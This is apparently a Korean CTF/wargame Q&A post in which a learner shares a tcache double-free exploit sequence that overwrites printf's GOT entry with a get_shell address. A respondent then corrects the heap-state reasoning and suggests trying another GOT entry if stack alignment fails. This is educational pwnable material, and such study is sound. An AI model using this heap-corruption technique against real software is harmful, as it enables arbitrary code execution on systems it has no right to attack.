완료됨
과정 질문
create(0x10, b'AAAA') create(0x10, b'AAAA') delete(0) delete(1) modify(1, 0x10, b'BBBBBBBBB') delete(1) create(0x10, p64(printf_got)) create(0x10, b'CCCC') create(0x10, p64(get_shell))
- A - A
- A - A - B
- A - A -> printf_got
- A - printf_got
- A - get_shell
해당 순서로 생각했는데 어떤 부분이 틀린건가요?
#pwnable
작성자 정보
답변
1
qwerty
CTF First Place
1. tcache_head -> 0 (create, ..., delete(0))
2. tcache_head -> 1 -> 0 (delete(1))
3. tcache_head -> 1 -> "BBBBBBBB" (modify) / 1->fd = "BBBBBBBB", 1->key = "BB.."
4. tcache_head -> 1 -> 1 ... (delete(1))
5. tcache_head -> 1 -> printf_got (create) / 1->fd = printf_got
6. tcache_head -> printf_got (create)
7. tcache_head -> x (create) / printf_got = get_shell
순서입니다.
혹시 문제가 해결되지 않는다면, xmm register에 의한 align문제일 수 있으므로 printf_got
대신 다른 got
를 사용해보시는 것도 좋을 것 같습니다.